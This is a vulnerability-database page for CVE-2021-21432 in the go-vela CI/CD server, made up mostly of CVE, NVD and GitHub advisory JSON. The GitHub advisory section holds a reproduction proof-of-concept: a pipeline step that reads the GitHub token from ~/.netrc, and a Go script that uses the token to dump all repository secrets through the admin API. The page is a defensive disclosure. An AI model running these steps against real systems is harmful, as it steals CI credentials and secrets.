Vulnerability-Lookup

CVE-2021-21432 (GCVE-0-2021-21432)

Vulnerability from cvelistv5 – Published: 2021-04-09 18:10 – Updated: 2024-08-03 18:16

Title

Reject unauthorized access with GitHub PATs

Summary

Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

CWE

CWE-285 - Improper Authorization

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/go-vela/server/security/adviso…	x_refsource_CONFIRM
https://pkg.go.dev/github.com/go-vela/server	x_refsource_MISC
https://github.com/go-vela/server/releases/tag/v0.7.5	x_refsource_MISC
https://github.com/go-vela/server/pull/337	x_refsource_MISC
https://github.com/go-vela/server/commit/cb435291…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
go-vela	server	Affected: >= 0.7.0, < 0.7.5	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T18:16:22.403Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://pkg.go.dev/github.com/go-vela/server"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/go-vela/server/pull/337"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "server",
          "vendor": "go-vela",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.7.0, \u003c 0.7.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-285",
              "description": "CWE-285 Improper Authorization",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-04-09T18:10:14.000Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://pkg.go.dev/github.com/go-vela/server"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/go-vela/server/pull/337"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
        }
      ],
      "source": {
        "advisory": "GHSA-8j3f-mhq8-gmh4",
        "discovery": "UNKNOWN"
      },
      "title": "Reject unauthorized access with GitHub PATs",
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "security-advisories@github.com",
          "ID": "CVE-2021-21432",
          "STATE": "PUBLIC",
          "TITLE": "Reject unauthorized access with GitHub PATs"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "server",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "\u003e= 0.7.0, \u003c 0.7.5"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "go-vela"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
            }
          ]
        },
        "impact": {
          "cvss": {
            "attackComplexity": "HIGH",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "LOW",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
            "version": "3.1"
          }
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "CWE-285 Improper Authorization"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4",
              "refsource": "CONFIRM",
              "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
            },
            {
              "name": "https://pkg.go.dev/github.com/go-vela/server",
              "refsource": "MISC",
              "url": "https://pkg.go.dev/github.com/go-vela/server"
            },
            {
              "name": "https://github.com/go-vela/server/releases/tag/v0.7.5",
              "refsource": "MISC",
              "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
            },
            {
              "name": "https://github.com/go-vela/server/pull/337",
              "refsource": "MISC",
              "url": "https://github.com/go-vela/server/pull/337"
            },
            {
              "name": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46",
              "refsource": "MISC",
              "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
            }
          ]
        },
        "source": {
          "advisory": "GHSA-8j3f-mhq8-gmh4",
          "discovery": "UNKNOWN"
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2021-21432",
    "datePublished": "2021-04-09T18:10:14.000Z",
    "dateReserved": "2020-12-22T00:00:00.000Z",
    "dateUpdated": "2024-08-03T18:16:22.403Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2021-21432",
      "date": "2026-09-28",
      "epss": "0.00986",
      "percentile": "0.60885"
    },
    "fkie_nvd": {
      "configurations": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:a:go-vela:vela:*:*:*:*:*:*:*:*",
                  "matchCriteriaId": "52D2883A-60E5-41B9-86D8-83393D400F1F",
                  "versionEndExcluding": "0.7.5",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
        },
        {
          "lang": "es",
          "value": "Vela es un framework de Pipeline Automation (CI/CD) construido sobre la tecnolog\u00eda de contenedores de Linux escrita en Golang.\u0026#xa0;Un mecanismo de autenticaci\u00f3n agregado en versi\u00f3n 0.7.0, permite a algunos usuarios maliciosos obtener secretos usando las credenciales inyectadas dentro del archivo \"~/.netrc\".\u0026#xa0;Consulte el Aviso de Seguridad de GitHub al que se hace referencia para obtener detalles completos.\u0026#xa0;Esto es corregido en versi\u00f3n 0.7.5"
        }
      ],
      "id": "CVE-2021-21432",
      "lastModified": "2024-11-21T05:48:21.027",
      "metrics": {
        "cvssMetricV2": [
          {
            "acInsufInfo": false,
            "baseSeverity": "LOW",
            "cvssData": {
              "accessComplexity": "MEDIUM",
              "accessVector": "NETWORK",
              "authentication": "SINGLE",
              "availabilityImpact": "NONE",
              "baseScore": 3.5,
              "confidentialityImpact": "PARTIAL",
              "integrityImpact": "NONE",
              "vectorString": "AV:N/AC:M/Au:S/C:P/I:N/A:N",
              "version": "2.0"
            },
            "exploitabilityScore": 6.8,
            "impactScore": 2.9,
            "obtainAllPrivilege": false,
            "obtainOtherPrivilege": false,
            "obtainUserPrivilege": false,
            "source": "nvd@nist.gov",
            "type": "Primary",
            "userInteractionRequired": true
          }
        ],
        "cvssMetricV31": [
          {
            "cvssData": {
              "attackComplexity": "HIGH",
              "attackVector": "ADJACENT_NETWORK",
              "availabilityImpact": "LOW",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "CHANGED",
              "userInteraction": "REQUIRED",
              "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
              "version": "3.1"
            },
            "exploitabilityScore": 0.9,
            "impactScore": 6.0,
            "source": "security-advisories@github.com",
            "type": "Secondary"
          },
          {
            "cvssData": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 6.5,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            },
            "exploitabilityScore": 2.8,
            "impactScore": 3.6,
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      },
      "published": "2021-04-09T18:15:13.583",
      "references": [
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
        },
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/pull/337"
        },
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Release Notes",
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
        },
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
        },
        {
          "source": "security-advisories@github.com",
          "tags": [
            "Release Notes",
            "Third Party Advisory"
          ],
          "url": "https://pkg.go.dev/github.com/go-vela/server"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Patch",
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/pull/337"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Release Notes",
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Third Party Advisory"
          ],
          "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
        },
        {
          "source": "af854a3a-2127-422b-91ae-364da2661108",
          "tags": [
            "Release Notes",
            "Third Party Advisory"
          ],
          "url": "https://pkg.go.dev/github.com/go-vela/server"
        }
      ],
      "sourceIdentifier": "security-advisories@github.com",
      "vulnStatus": "Modified",
      "weaknesses": [
        {
          "description": [
            {
              "lang": "en",
              "value": "CWE-285"
            }
          ],
          "source": "security-advisories@github.com",
          "type": "Secondary"
        },
        {
          "description": [
            {
              "lang": "en",
              "value": "CWE-862"
            }
          ],
          "source": "nvd@nist.gov",
          "type": "Primary"
        }
      ]
    },
    "nvd": {
      "cve": {
        "configurations": [
          {
            "nodes": [
              {
                "cpeMatch": [
                  {
                    "criteria": "cpe:2.3:a:go-vela:vela:*:*:*:*:*:*:*:*",
                    "matchCriteriaId": "52D2883A-60E5-41B9-86D8-83393D400F1F",
                    "versionEndExcluding": "0.7.5",
                    "vulnerable": true
                  }
                ],
                "negate": false,
                "operator": "OR"
              }
            ]
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
          },
          {
            "lang": "es",
            "value": "Vela es un framework de Pipeline Automation (CI/CD) construido sobre la tecnolog\u00eda de contenedores de Linux escrita en Golang.\u0026#xa0;Un mecanismo de autenticaci\u00f3n agregado en versi\u00f3n 0.7.0, permite a algunos usuarios maliciosos obtener secretos usando las credenciales inyectadas dentro del archivo \"~/.netrc\".\u0026#xa0;Consulte el Aviso de Seguridad de GitHub al que se hace referencia para obtener detalles completos.\u0026#xa0;Esto es corregido en versi\u00f3n 0.7.5"
          }
        ],
        "id": "CVE-2021-21432",
        "lastModified": "2024-11-21T05:48:21.027",
        "metrics": {
          "cvssMetricV2": [
            {
              "acInsufInfo": false,
              "baseSeverity": "LOW",
              "cvssData": {
                "accessComplexity": "MEDIUM",
                "accessVector": "NETWORK",
                "authentication": "SINGLE",
                "availabilityImpact": "NONE",
                "baseScore": 3.5,
                "confidentialityImpact": "PARTIAL",
                "integrityImpact": "NONE",
                "vectorString": "AV:N/AC:M/Au:S/C:P/I:N/A:N",
                "version": "2.0"
              },
              "exploitabilityScore": 6.8,
              "impactScore": 2.9,
              "obtainAllPrivilege": false,
              "obtainOtherPrivilege": false,
              "obtainUserPrivilege": false,
              "source": "nvd@nist.gov",
              "type": "Primary",
              "userInteractionRequired": true
            }
          ],
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "HIGH",
                "attackVector": "ADJACENT_NETWORK",
                "availabilityImpact": "LOW",
                "baseScore": 7.5,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "LOW",
                "scope": "CHANGED",
                "userInteraction": "REQUIRED",
                "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
                "version": "3.1"
              },
              "exploitabilityScore": 0.9,
              "impactScore": 6.0,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            },
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 3.6,
              "source": "nvd@nist.gov",
              "type": "Primary"
            }
          ]
        },
        "published": "2021-04-09T18:15:13.583",
        "references": [
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/pull/337"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Release Notes",
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
          },
          {
            "source": "security-advisories@github.com",
            "tags": [
              "Release Notes",
              "Third Party Advisory"
            ],
            "url": "https://pkg.go.dev/github.com/go-vela/server"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Patch",
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/pull/337"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Release Notes",
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Third Party Advisory"
            ],
            "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
          },
          {
            "source": "af854a3a-2127-422b-91ae-364da2661108",
            "tags": [
              "Release Notes",
              "Third Party Advisory"
            ],
            "url": "https://pkg.go.dev/github.com/go-vela/server"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Modified",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-285"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Secondary"
          },
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-862"
              }
            ],
            "source": "nvd@nist.gov",
            "type": "Primary"
          }
        ]
      }
    },
    "redhat_vex": {
      "current_release_date": "2026-03-27T14:57:24+00:00",
      "cve": "CVE-2021-21432",
      "id": "CVE-2021-21432",
      "initial_release_date": "2021-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Reject unauthorized access with GitHub PATs",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2021/cve-2021-21432.json",
      "version": "3"
    }
  }
}

FKIE_CVE-2021-21432

Vulnerability from fkie_nvd - Published: 2021-04-09 18:15 - Updated: 2026-06-17 03:35

Severity

7.5 (High) - CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46	Patch, Third Party Advisory
security-advisories@github.com	https://github.com/go-vela/server/pull/337	Patch, Third Party Advisory
security-advisories@github.com	https://github.com/go-vela/server/releases/tag/v0.7.5	Release Notes, Third Party Advisory
security-advisories@github.com	https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4	Third Party Advisory
security-advisories@github.com	https://pkg.go.dev/github.com/go-vela/server	Release Notes, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46	Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/go-vela/server/pull/337	Patch, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/go-vela/server/releases/tag/v0.7.5	Release Notes, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4	Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108	https://pkg.go.dev/github.com/go-vela/server	Release Notes, Third Party Advisory

Impacted products

	Vendor	Product	Version
	go-vela	vela	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "server",
          "vendor": "go-vela",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.7.0, \u003c 0.7.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:go-vela:vela:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "52D2883A-60E5-41B9-86D8-83393D400F1F",
              "versionEndExcluding": "0.7.5",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5."
    },
    {
      "lang": "es",
      "value": "Vela es un framework de Pipeline Automation (CI/CD) construido sobre la tecnolog\u00eda de contenedores de Linux escrita en Golang.\u0026#xa0;Un mecanismo de autenticaci\u00f3n agregado en versi\u00f3n 0.7.0, permite a algunos usuarios maliciosos obtener secretos usando las credenciales inyectadas dentro del archivo \"~/.netrc\".\u0026#xa0;Consulte el Aviso de Seguridad de GitHub al que se hace referencia para obtener detalles completos.\u0026#xa0;Esto es corregido en versi\u00f3n 0.7.5"
    }
  ],
  "id": "CVE-2021-21432",
  "lastModified": "2026-06-17T03:35:33.890",
  "metrics": {
    "cvssMetricV2": [
      {
        "acInsufInfo": false,
        "baseSeverity": "LOW",
        "cvssData": {
          "accessComplexity": "MEDIUM",
          "accessVector": "NETWORK",
          "authentication": "SINGLE",
          "availabilityImpact": "NONE",
          "baseScore": 3.5,
          "confidentialityImpact": "PARTIAL",
          "integrityImpact": "NONE",
          "vectorString": "AV:N/AC:M/Au:S/C:P/I:N/A:N",
          "version": "2.0"
        },
        "exploitabilityScore": 6.8,
        "impactScore": 2.9,
        "obtainAllPrivilege": false,
        "obtainOtherPrivilege": false,
        "obtainUserPrivilege": false,
        "source": "nvd@nist.gov",
        "type": "Primary",
        "userInteractionRequired": true
      }
    ],
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "LOW",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
          "version": "3.1"
        },
        "exploitabilityScore": 0.9,
        "impactScore": 6.0,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2021-04-09T18:15:13.583",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/pull/337"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes",
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes",
        "Third Party Advisory"
      ],
      "url": "https://pkg.go.dev/github.com/go-vela/server"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Patch",
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/pull/337"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes",
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Third Party Advisory"
      ],
      "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes",
        "Third Party Advisory"
      ],
      "url": "https://pkg.go.dev/github.com/go-vela/server"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-285"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-8J3F-MHQ8-GMH4

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2022-08-15 20:02

Summary

Reject unauthorized access with GitHub PATs

Details

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

Create Vela server
Login to Vela UI
Promote yourself to Vela administrator
- UPDATE users SET admin = 't' WHERE name = <username>
Activate repository within Vela
Add .vela.yml to the repository with the following content

```yaml version: "1"

steps: - name: steal image: alpine commands: - cat ~/.netrc ```
Look at build logs to find the following content

$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token>
Copy the password to be utilized in some later step
Add secret(s) to activated repo
Copy the following script into main.go

```golang package main

import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" )

func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) }
```
// add PAT to request
client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))

secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
if err != nil {
    panic(err)
}

for _, secret := range *secrets {
    fmt.Println(*secret.Name)
    fmt.Println(*secret.Value)
}
```
} ```
Run the main.go with environment specific settings
VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

No known workarounds

References

Are there any links users can visit to find out more?

https://github.com/go-vela/server/pull/246
https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

For more information

If you have any questions or comments about this advisory

Email us at vela@target.com

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-vela/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T20:12:26Z",
    "nvd_published_at": "2021-04-09T18:15:00Z",
    "severity": "HIGH"
  },
